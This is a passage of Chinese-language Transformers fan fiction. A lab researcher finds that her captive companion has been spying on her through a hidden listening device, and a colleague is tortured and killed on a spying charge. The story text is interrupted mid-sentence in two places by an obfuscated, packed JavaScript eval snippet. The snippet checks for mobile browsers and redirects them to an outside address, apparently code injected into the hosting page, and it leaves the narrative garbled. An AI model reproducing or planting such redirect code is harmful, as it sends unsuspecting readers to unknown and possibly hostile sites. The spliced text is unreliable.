风语曾和她吐槽过炸药的“光辉历史”。炸药在一步步爬上高级研究员的职位以前,曾经负责过挖掘爆破的工作。 他从不管爆破的建筑里面有没有碳基也就算了,甚至有一次,在风语和其余的机子还在转运物资的时候,有疑似汽车人的虚假警报传来,炸药直接投掷了爆.炸物,让他倒霉的同僚们差点被埋在里面。 他还把量产机往噬铁虫群里面推去,用他人的性命来给自己争取几分活命的机会。 炸药做这种事情,顺手得就像是吃能量块喝能量液那样简单,毫无任何芯理负担。 这一切都不符合照明对于汽车人的印象,但现在她也不确定了。 也许那一切都是炸药的演技,也许是为了在同僚面前作秀? 但那感觉并不像是一场让上司和同僚降低怀疑的表演。 在哪个星球上的汽车人阵营会让炸药这样的机子加入他们呢?更别提成为特工了。 可能只有在一个一切都完全相反的宇宙,等汽车人一方成为会生吃幼生体的恐怖传说时,他们才会这样做吧。 就算炸药真是汽车人间谍,那这件事情也颇有疑点;炸药再愚蠢,也不会傻到就这样把汽车人芯片随身携带、不安全地藏在子空间。 下一个出现在照明处理器里的念头,是有人不知出于什么目的,在陷害炸药。 黑骑士应该也知道这一点,但正如她所言——她不在乎。 她对任何机子都是这样。当负担超过了利用价值,就会被她毫不留情地抛弃消灭。 何况这是对重点关注项目的威胁,她当然要宁可错杀也不放过,把一切意外都给扼杀在摇篮之中。 她的表情想必是十分沉重,因为傀拉轻声说道:“你看起来很累。” “我没事。”照明不自在地看了一眼她已知的监视器。 傀拉歪了歪头,用一种倾听的姿态邀请照明继续说。 黑骑士没有时间逐字逐句审查她们的对话。既然这样,那是不是代表几句对话也是可以的? 于是照明模糊地承认道:“只是有些事情我不明白。很多机子都表现得很奇怪。” “我猜测你指的是那个炸药?他一直都表现得很奇怪。”傀拉讽刺地说,“有时候我怀疑是他的哪根电路不对劲搭错了,让他对除了他自己的任何事物都有如此多的不满。” 照明抿了抿嘴,没有像以往一样,对傀拉的讽刺露出被娱乐到的微笑。 傀拉察觉了。 她问道:“发生了什么事吗?你看起来这么忧愁,真是令人芯碎。我真的很担芯你。” “倒也没什么……”照明嘟囔着。 她明知黑骑士在监视,说不定现在她正在看着自己和傀拉的对话。 但她还是和傀拉说话了,她做不到忽视她。现在的对话也只是情绪上的发泄,起不到什么实际意义上的作用。 黑骑士要听,就让她听吧。 “我只是在想……这一切真的有意义吗?我不适合这里,我从来都不适合。我甚至不知道我究竟是什么样的人了,他们只是因为方便好用才留着我。” 面对照明的自怨自艾,傀拉轻柔地哼笑一声:“你想要知道我是怎么想的吗?” “他们一直都是这样。把我们当做物品看待,要把我们的价值压榨到一滴都不剩,但你自己要记得,你不是一个工具。” “你是一个有着独一无二火种的赛博坦人。” 照明自嘲地笑了一下:“某种程度上来说,确实‘独一无二’。” 傀拉却像看穿了她的内心,语气比刚才还轻:“我知道你在想什么。” 照明没说话,只是偏头看她一眼。 傀拉一字一句地说:“我知道你不完美,我知道你经常犹豫、屈服于现实、犯过错误,也并不觉得自己值得被需要和喜爱。” 她的声音几乎温柔到了残酷的程度:“可那不妨碍我觉得,你是我生命中所见过的一切里,最值得我记住的。” 照明怔住了。 “你不需要达到某些标准,”傀拉说,“也不需要证明自己。” 她从仓内站了起来,走过来,把一侧面甲轻轻贴在仓壁上。她的手也贴在仓壁上,像是想要伸出隔绝外部的隔离仓,触碰到照明那样。 “我才不管你能发挥什么样的功能……你站在这里、活着、火种跳动着,就已经让我想要靠近。” 照明忽然忘记了之前想说什么。 取而代之的,她问道:“你为什么说这些话? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576098|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “可能是因为我想让你知道……有人看到了你。不是你具有的功能、自身的形态。就是你。” “我看到了你,就像你看到了我那样。” 傀拉又笑着补充了一句。 “如果你一直那样呆呆地看着我,我会再说一遍。” 照明背过身去,她使劲眨了眨光学镜,悄悄抹去光学镜里渗出的镜头清洗液。 她的胸甲里火种欢欣地跳动,一股温暖涌动上来。有那么一刻,她沉浸在傀拉的话语中,相信她不仅仅是一个工具,有人真的看到了她。 傀拉看着她的方式让她忍不住幻想——她爱她。 虽然没有明说,虽然这一点一直被她们双方否认,但她多么想相信它,这让她感到恐惧。 随即她想到了黑骑士的话。 允许了这个在我控制之下的变量……体外的火种融合很可能会从中受益…… 这就是黑骑士想要的,黑骑士会很高兴的。 这个想法冲淡了一切,温暖凝固冷却,变成某种令人恶心的东西。 我甚至不该和她说话。照明这样想道。 她稳住声音说:“如果你不是认真的话,你或许就不应该说这些。” 傀拉有点受伤地看了照明一眼,举手作投降状:“至少你现在芯情好多了吧?说起来,那个炸药今天也没来。我猜这可以成为你能够拥有好芯情的另一个因素?” 是啊,傀拉还不知道,炸药应该再也不会回来了。 “……他被调去另一个项目了。”照明解释道。 傀拉盯着她的表情,发出一声近乎满足的哼笑:“这可能是最好的安排。” 照明抬起光学镜:“为什么?” “拜托,照明。”傀拉耸耸肩,“他恨你。总是在别人面前贬低你、打压你。这种持续的敌意,不只会停留在相处问题上。他对我们来说都是危险的。” “但他现在已经——”照明险些脱口而出,又硬生生停住了。 “已经?”傀拉捕捉到了照明的一时失言。 她的眼神带着一种奇妙的预知感:“他死了,对吧?” 照明懊丧地从通风口呼出一口气体,承认了这一点。 傀拉轻描淡写道:“这也很正常。我的意思是,叛徒通常就会得到这种结局,不是吗?” 照明几乎是下意识地点头——然后,一阵强烈的违和感传来。 在逻辑电路反馈给她答案的一瞬间,照明心中警铃大作。 她没有告诉过傀拉,炸药死亡的原因。 她没有说过任何关于背叛的事情。一个字都没有。 那么……傀拉为什么会知道? 40. 傀拉的秘密 照明看着傀拉。 对面的巨狰狞神色自若地回望。 她究竟有没有意识到自己说了什么? 还是她虽然意识到了自己的失言,但是赌照明没有想到这点呢? 她问道:“说到这里。你那时候为什么会突然动手打炸药?” 傀拉的笑容从面甲上滑落了。 “我以为你不打算继续问这个无聊的问题呢。” 照明坚持:“但是现在我需要知道。你为什么要这样做?你不是那种会轻举妄动的人。那天在我到达操作室之前,究竟发生了什么?” 傀拉淡淡地置换了一下气体,好像有些无奈似的:“既然你都这样说了……” 她很快地给出了答案:“我以为他要伤害你。” 对于这个回答,照明有些细微的惊讶。 她问道:“你为什么这样认为?” “哦,他那天的行为可是非常可疑。” 傀拉转动着光学镜,语气变得缓慢起来,叙述着回忆。 “那天,一些人类操作着器具,把我从战斗的实验场地里拖了出来,带到一个房间。他们把我捆在泊位上。我不知道他们要对我做什么,没人觉得我还能动,但我很清醒。” 照明叹道:“他们可犯了个错误。” 傀拉看了照明一眼,点了点头:“是的。他们太大意了。我设法挣脱了束缚,想办法破坏了门、沿着走廊一路上去,想着只要能找到你……结果,我误打误撞回到了原来的操作室。” “你是怎么进去的?” “这要多谢那个我路上抓到的人类。总之,他似乎是个管事的,有某种识别进入的权限,我就知道带他过去是有用的。但让我们长话短说。” 傀拉继续说:“我悄悄地走了进去,没有引起他的注意。然后我听到了……炸药在和某人通话。” “我听到了我以前的代号,还听见了你的名字。虽然没有听得很具体,但我听得出来他在隐藏些什么,好像有什么别的计划。” “你确定吗?” “我能看到全息屏幕上显示的数据。他在调取记录,下载情报;我得先行动起来。所以在他能呼叫别人之前,我就先动手了。后面的事情你都知道了……你打开门闯了进来,巴拉巴拉。” 照明盯着傀拉,芯中在考虑这番说辞究竟有几分是真的。 傀拉笑了一下:“当然,打他也掺杂着其他的原因——一点我个人小小的私人恩怨。我不像他那样,但是我也不像你这样温和。这只是一点小小的报复。你不会因为这个怪我吧?” 照明皱了皱眉:“这太莽撞了。她们很容易就会知道炸药为什么会受伤。” “不,”傀拉的眼神柔和了,“我只知道,我做了我该做的事。为了你。为了我们。我希望你能理解我。” 照明后退一步,移开了视线。 她最终说:“当然。” 傀拉反而问道:“你为什么突然这样问?” “我……只是好奇。” 她摆出与平常别无二致的神情,轻轻揭过了这个话题,好像她确实只是因为好奇偶然一问。 傀拉接受了这个说法,也姿势放松地盘腿坐了下来,实验室也似乎又回到了以往那种两人虽然不言不语,但就是很自在的氛围之中。 照明的目光瞥了一眼监视器,然后又回到了隔离仓中的身影。 傀拉解释的理由、事情发生的时机、还有那对光学镜里流露出的真诚,或者是真诚的伪装。 这真的只是一个意外吗,是她多芯了吗? 不管照明想不想相信傀拉,最重要的是,她不能再问了。 刚刚是她莽撞了。 即使她再怀疑、再不安,也不能在这里进一步细问这种敏感的问题,不是在黑骑士的光学镜可能还在看着的时候。 她不能任凭毫无根据的猜测,就怀疑没有什么行动空间的傀拉。 信任难以修复,是非常脆弱的东西,她不会任由妄想毁掉她和傀拉之间的信任。 —————— 回到了居住的舱室,照明毫无形象地扑倒在充电床上。 翻了个身,望着空荡荡的天花板,她置换出一口带着烦闷的气体。 变形金刚不需要吸入氧气,但是通过通风口进行气体的置换莫名其妙能让人放松。 照明猜测,或许是这样带走了一部分内部线路的热度,所以能让机体的内循环更加顺畅迅速? 机体并不劳累,更多的是精神压力。 这个周期过得像是无穷无尽。 每个周期都要比前一个周期更加漫长,照明很久以前就这样认为。但值得庆幸的是,她又成功挨过了一个周期。 宵禁的时间早就到了。研究所实行标准的宵禁制度,在夜循环时,除值班岗位或者夜间有事、申请到通行证的机子外,全体研究员是禁止出入工作区域的。 还好照明设法在宵禁前,弄到了一杯加热过的汽油,希望这能让她拥有一段安稳的充电时间。 照明吸着汽油,弯腰在桌子前收拾几个数据板,想在充电前阅读一些什么,理一理复杂的思绪。 她的舱室里东西并不多,只有一张充电床、一套桌椅;桌子上是一个简易的架子,架子上除了一个能量块、几块金属布和一团被照明缠在上面当装饰的电缆,就别无他物。 看起来朴素得都有点简陋,然而这是一个单人舱室。单这一点,就足以让很多机子羡慕万分了。 这也是高级研究员级别才能享受的“福利”的一部分。 汽油的味道很神奇,似乎经过稀释,加入了什么金属,越喝越奇怪。 照明简直要怀疑她带回来了什么物资供应组的特殊发明。 但事已至此,她只好硬着头盔一口闷,然后—— 她的油箱还是抗拒这种暴殄天物的汽油调配法,她狠狠地呛到了。 “呃咳——咳咳咳咳咳!” 照明低头咳嗽,没有注意手中的杯子,手一抖,汽油从杯沿溢出,直接洒在她的臂甲上,甚至正缓慢渗入臂甲的缝隙中。 “哎呀,糟了。” 照明低声咕哝,放下杯子,弹开了臂甲,拿起一块金属布擦拭起手臂。 在臂甲内的小夹层空间里,流入的汽油正好浸湿了水晶花的一片花尖。 照明连忙把水晶花拿了出来,擦完手臂又去擦拭水晶花。 水晶花表面被汽油的光泽染得粘腻,光泽变得模糊,她动作轻柔地擦了几下,水晶花又恢复了以往的透光度。 照明在灯光下转动着手中的水晶花,短暂放空了几纳秒。 在她随意地把水晶花转到某个角度时,一道光芒闪了一下她的光学镜。 奇怪。她以前从来没有注意到这个。 它折射了什么东西吗?还是只是舱室灯光的闪烁? 固化的能量块里面不应该存在这么多杂质才是。 照明望了一眼天花板上的灯,灯光稳定地明亮着,没有闪烁。 她拿起水晶花,在手里慢慢地转动。 又来了,那光芒折射般的一闪。 照明又转动了一下水晶花,这次她仔细观察着。 就在那里,一条笔直的线条沿着主茎的侧面延伸,在之前,照明都觉得这是手工的痕迹。 抱着一种不知道什么样的心态,照明变形出手部最小的修理工具,用尖端插入缝隙,撬开了水晶花。 一声微弱的碎裂声过后,水晶花在面前的桌子上变成了两半。 但桌面上,不仅仅有能量块雕刻而成的水晶花。 在花朵的核心内,是一个非常微小的接收单元。 不是那种被制造出来的东西,这个零件非常精细,精细得犹如纳米机器人雕刻而成,像是机体天生的零件,像是谁的音频接收器的一个微小独立单元,被主人小心地拆了下来。 而且它居然还能发挥作用。这绝对不是装饰性的,正在运行着。 至于监听到的结果会返回到谁的接收器? 照明哈了一声。 在强烈的不敢置信和荒谬感驱使之下,她反而笑了起来。 舱室内太安静了,安静得可以让她听到自己火种的剧烈跳动;现在,每一次的跳动都比上一次更清晰。 傀拉一直在听。 照明盯着桌面上那枚小小的装置。 然后,她轻轻地吸了口气,把那东西放在桌上,拿布把手擦干净,仿佛那只是沾了点油污的普通金属片。 可她的眼神却没有离开它,缓缓扫过桌面上破碎的水晶花。 ……怪不得傀拉能找回操作室。 怪不得她提起某些话题时,傀拉总像是已经排演过一次那样应对得滴水不漏。 怪不得……她有时候觉得,自己还没说出口的犹豫、迟疑,甚至愤怒和心软,都已经被提前预判了。 她抬起另一只手捂住面甲。 她没办法继续骗自己了。 她想到傀拉送花时那副明媚又真诚的笑脸,想到她那些或温柔或诱惑的台词,想到她每一次在她最软弱的时候靠近。 一股冷意从背后蔓延上来,她不想往下想。 —————— 冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580700|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的溶剂泼了炸药一头一脸,把他从快要下线的境况中痛苦地拉回。 他想不明白。 为什么过了短短的几个周期,事情就发生了这样的变化? 他从来没进过审讯室,现在才发现这里是如此让人畏惧的地方。难怪进来过的机子都没有出来的。 审讯室内没有椅子、没有窗户。只有头顶刺眼的光芒,在晦暗的合金地板上,反射进他唯一剩下的光学镜里。 他戴上了磁力手铐,这以往都是他用来拷在实验体身上的。他被吊着,固定在一副垂直支架上,已经干涸的能量液染上了他的全身和他身后的墙,还有新的能量液在缓缓流出。 被审讯了这么久,他的思维早已迟钝,但现在倒是多了几分委屈的意思了——他真的一无所知啊! 要是能推出一个替罪羊,他早就迫不及待了;可惜他情急之下说的几个机子都被黑骑士给否决了,因为他们没有疑点。 而且,那个芯片也是伊迪斯当着监视器的面亲手从他子空间里取出来的,这让他想要攀咬伊迪斯都无法做到。 面前的人影丝毫不为他动容,她朝前走出了一步,露出了手里的刑具和自己的面容。 旁边的泽卡莱亚过来扫描了一下炸药,向着黑骑士汇报道:“他估计还能再撑几轮,但是火种已经有不稳定的迹象了。” 黑骑士略感失望地“噢”了一声,让炸药不由自主带着链条颤抖了。 见黑骑士把手朝着炸药的头雕伸去,泽卡莱亚上前一步,难得稍微阻止了一下上司的行为:“所长,恕我提醒。我们没有申请到调出记忆文件的设备。如果清空了他的处理器,对于相应情报有无泄露这点,我们将会一无所知。” 黑骑士倒是停下了动作,随口抱怨道:“又是那些权限不足、资源有限的鬼话。我还以为我们的体系是靠实力决定的,而不是靠那些自诩‘高位者’的批准。” “所以乖乖告诉我吧,炸药。我以前怎么不知道你是如此忠诚不屈?” 炸药听到这句话,芯里竟然比被折磨还要难受几分;他也想屈啊! 如果他真的是汽车人间谍倒也好了,此刻他早已化身荣誉汽车人把情报吐个干干净净了,但现在他什么也不知道,说出来的话黑骑士无法信服,反而认为他在执意隐瞒。 随着电击落在炸药胸甲的接口处,金属表面炸起一阵蓝光。炸药猛地发出一声嘶哑的喊叫,整个人弓起,带着链条也晃动起来,剧烈喘息着。 “我再问一次,”她说,现在更温和了。“芯片为什么会出现在那里?” “求求您!我真的不知——!” 又一次电击。 这一次,它持续了更长的时间。炸药在原地猛烈地颤抖着。 他现在只想结束这一切痛苦……如果他这样说,黑骑士所长会买账吗?这样这场好像永无止境的折磨是否就会停止? 在下一次折磨落下之前,他赶紧张开嘴:“我……我有一个上线!” 黑骑士停了下来,饶有兴趣地复述道:““你有上线?” “这个芯片,就是、就是他塞给我的!但我不知道他是谁,我也从来没有泄露过情报。我只是被迫的,我几乎什么都不知道……”炸药的声音越来越小,但是带着希望。 “是这样吗?”黑骑士的回应轻得几乎听不见。 她端详了一会炸药,轻笑了一声,说:“谢谢你,炸药。” 她慢慢转过身,背对他,像是失去了兴趣。 炸药的芯放到一半,突然又意识到了什么一般,扯着发声器叫道:“等等——我已经说了我知道的——!请——” 黑骑士的最后一击非常迅速,没有任何警告,也相对很干净利落。 炸药的头雕仿佛能看到自己火种的熄灭,他不甘心地睁着光学镜离线了。 泽卡莱亚:“上次没能成功找出来,这次需要根据炸药的供述,重新开始排查了吗?” “完全的胡说八道,真是浪费我的时间。”黑骑士皱眉,“不过这也算是一个契机,就当他的话里有几分是真的。” “这次要查到哪一步?”泽卡莱亚声音不轻不重,像是在确认又像在请命。 “通知安保部门,全面排查所有部门和所有的实验室。”黑骑士的语气没有波澜,“有人在帮他,或者他以为有人在帮他。让我们试着看看谁会冒出头来。” “如果这个‘上线’确实存在,可能会警觉。” “他会忍不住出手的。”黑骑士轻轻笑了下,语气近乎温柔,“汽车人永远都会为了棋子动摇。尤其是……以为自己赢了的时候。” 41. 开始实验 自从黑骑士提拔泽卡莱亚为副官后,许多事务她便放芯地交给了这个情商不高、却极度忠诚的下属去处理。 泽卡莱亚不折不扣地执行着清洗计划,态度一如既往不折不扣。 最初,大多数研究员都不知道到底发生了什么。 但随着闲言碎语在走廊和能量供应处悄悄流传开,大家终于意识到:研究所里出了内鬼。 据传,所长亲手抓到了一名汽车人间谍。 本来揪出了内鬼是一件好事,但让大家都倍感焦虑的是,内鬼似乎不止一个,肃清行动仍未停止。 期间,还发生了一个小插曲。 研究所内部的广播电台本是用于通知信息的,平日里更多被大家用来八卦和消遣。 在新的一个周期到来时,频道突然无法连接,所有研究员都失去了访问电台的权限。据说,是出于保密的需求。 研究所好像撕下了最后一层伪装,变成了黑骑士的一言堂。 以往还算正常的气氛消失了,取而代之的,是更加安静的实验室与更迅速闭合的门。 照理说,人在高压肃杀的环境下会选择沉默、谨慎、不过多言语。 大家表面上都学会了闭上嘴,谁也不想被泽卡莱亚叫走。 任何不慎被叫去“喝茶”的人,往往都有某些难以解释的疑点,最终能回到工作岗位上的人也不多。 但也正因为这种环境,更加催生了那种低声、鬼鬼祟祟的私下八卦,和捕风捉影的谣言传递。 在公开的沉默下,私下的流言愈演愈烈。 谁被泽卡莱亚盯上了,别人就会远离他。 同事间开始互相举报、互相提防;所内传出“某人昨晚被带走了”“某人是暗藏的间谍”的流言。 每个人都知道不能乱说话,于是就只敢在角落说、背后说、扯着别人的名字暗示“你看那谁谁谁是不是有点像汽车人”,表面上假装轻松,内心却慌张不已。 八卦者说这些话的目的往往是转移注意力、自证清白、顺带落井下石。 在几个周期过去之后,所里的气氛如即将沸腾的油,已经到了人人自危的地步。 在能量供应处,照明刚刚坐下,风语就悄悄凑了过来。 她把能量块举在嘴边假装喝着,她的声音压得很低:“你说,那天我在设施维护组的房间里听到的神秘声音,会不会就是炸药在说话?” 她马上又否决了自己的猜测:“但那时候炸药不是和你一起,在外执行K-13的测试任务了吗?他根本还没回来。” “那又会是谁呢?会是另一个汽车人,难道是炸药的同党吗?” 照明颇有些佩服风语这仿佛用生命在八卦的精神。 风语见照明蔫蔫的,一副芯情不佳的样子,于是自己琢磨了一小会,然后恍然大悟:“啊,我明白了。这样一切都对上号了。” 她又想到什么了? 照明投去疑问的目光。 风语自信道:“那个人肯定是在给外出执行任务的炸药通报情况。炸药有没有表现出不对劲?你当时是不是就注意到他有奇怪的地方了?” 照明:“……” 面对风语奇妙的推理,她不禁哭笑不得地沉默了。 照明不知道黑骑士是否确信炸药是间谍,她也不认为自己猜到的一定是真相。 但事到如今,好像只有炸药最反感的她,才最相信炸药的清白。这有点讽刺,又有点好笑。 刚想让风语别想太多,该把自己的工作做好、避免高层的怀疑才是,一个念头突然从照明的处理器中冒了出来。 她悄悄从子空间取出那一片小小的接收单元,把它隐蔽地握在掌心。 然后她对风语说:“或许你说得对。我之前也觉得他哪里不太对劲。现在看来,所长的处理应该没错。” “真是没想到,”风语得到了照明的赞同,喃喃道,“像他那样的机子……看来哪里都一样。” 照明趁机又规劝了几句,让风语小心行事之类的话,不知道风语有没有听进去。 离开了能量供应处,照明又孤身一人了。 在这个周期她结束充电的时候,就收到了设施维护组的简讯:相应的设备已经修理,得到了替换和升级。 这也意味着,她和傀拉的体外火种融合实验就要在这个时候推进了。 很快,伊迪斯也来通知了她。 实验的地点会更改为新的实验室,那里有更先进的设备和更大的空间。 她沿着走廊穿行而过,风语之前的话依旧让她有点疑虑。 既然黑骑士认为研究所内有间谍存在,那“有间谍”这个信息就不是空穴来风,而是确实的信息,只是目前看来似乎对象有点问题。 那如果风语听到的奇怪动静是属于真正的间谍,那真间谍的目的又是什么呢? 联想到之前发生的一连串意外,照明有模糊的猜测。 是啊,这明明只是一个初级研究所而已。纵然黑骑士可能同时有在进行什么其他项目,也不太可能有项目比傀拉还要重要。 是冲着傀拉来的?如果事情真是这样,那些实验设备被动过手脚的可能性就大大提升了。 就这样想着,她来到了设施维护组这边,准备取伊迪斯吩咐要拿的一件仪器。 门半开着,有两个研究员正背对着门,围着一个大箱子小声说话,看上去像是在讨论某项参数。 照明走近了,才听清他们是在讨论前段时间发生的事情。 “我就是随便说说,”一个压低声音,“你不觉得他自从上一个项目被她抢走以后,一直都在耿耿于怀吗?后来又眼巴巴跑去申请。” “我当时就觉得奇怪了。说不定就是因为嫉妒心太重,才被……汽车人策反了。” “是啊。更糟糕的也不是没可能。他以前不是没请假就离开过基地吗?溜出去两个循环,我看这时间要是去接头传递消息,这不是正合适吗?” 他们小声猜测讨论着,语速很快,没注意到照明就站在他们背后。 照明见他们没有听到自己的到来,故意原地踏了一下步,他们立即如惊弓之鸟一般回头。 看清是照明后,他们连忙停了话题,装作什么也没发生的样子。 其中一位尴尬地咳嗽了一声:“啊……这个,是你来取的仪器。刚才只是……随便聊天而已,这种话你就当没听见。” 照明没有理会他,扫描确认之后就 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自己早就一步步栽入了对方罗织的甜蜜陷阱之中,但终究……她们都无法给予彼此想要的东西。 伊迪斯见照明有些走神,误以为照明是在为即将进行的实验感到紧张。 她伸出手拍了拍照明的肩膀:“别紧张。还记得吗?之前我发给过你流程,照着做就行。” 照明便也假装自己是在紧张。 她指了指旁边的另一张泊位,问道:“长官,我应该现在就躺到那里去吗?” “暂时不用。”伊迪斯摆了摆手,“我们先尝试让K-13的火种进行第一阶段分裂。这可能会花上一点时间。” “虽然不想让你更紧张,但我得说……我也是第一次执行这样的实验。” 她又安抚道:“不过你放心,我会优先保障你的安全。我希望整个过程都尽可能地自然。” 照明垂下光学镜,问道:“……长官,启动前有没有做过全面检查?这些设备确定被完全修好了、没有问题吗?” 伊迪斯愣了一下,随即摇头笑了笑:“放心。维护记录是自动同步的,每周期都有三次交叉核验。我知道你可能不放心,但除非后勤部有人搞鬼,否则仪器不可能出问题。” 她一边说着,一边在终端前刷入授权码。 数据流在界面上迅速滚动。 照明走上前去,帮着伊迪斯调整参数。 她的指尖悬在空中片刻,最终落在一行不起眼的系统子菜单上。 她没有去改动核心结构,也没触碰实验流程。她只是将一个极限保护阈值下调了两个百分点,一个几乎不会被系统记录为异常的小改动。 这个数值变化对整个融合流程几乎毫无影响,却足以让系统在检测到能量剧烈紊乱时自动切断流程,强制中止。 她知道这不是反抗,也不是救人。只是加了一道——如果运气够好,也许能生效的——保险。 她做不到冲过去把傀拉带出来,更无法公然对抗伊迪斯和黑骑士的命令。她唯一能做的,就是偷偷给傀拉留一条缝隙。 只要能让她活下来。